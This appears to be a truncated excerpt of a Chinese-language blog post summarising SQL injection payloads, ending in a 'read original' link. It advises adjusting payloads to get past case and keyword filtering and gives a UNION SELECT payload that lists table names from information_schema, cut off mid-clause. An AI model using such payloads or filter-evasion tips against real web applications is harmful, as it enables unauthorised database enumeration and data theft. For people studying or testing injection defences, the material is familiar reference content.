sql注入payload總結

如下payload均不報錯大小寫繞過，關鍵字繞過等，請自行判斷過濾方式後修改payload，如有後續代碼，請自行考慮截斷或者補全方式。 簡單注入payload，例如 id=1, id這個字段就是注入字段 id=1 union select 1,2,group_concat(table_name),3 from information_schema.tables where table_schema

>>阅读原文<<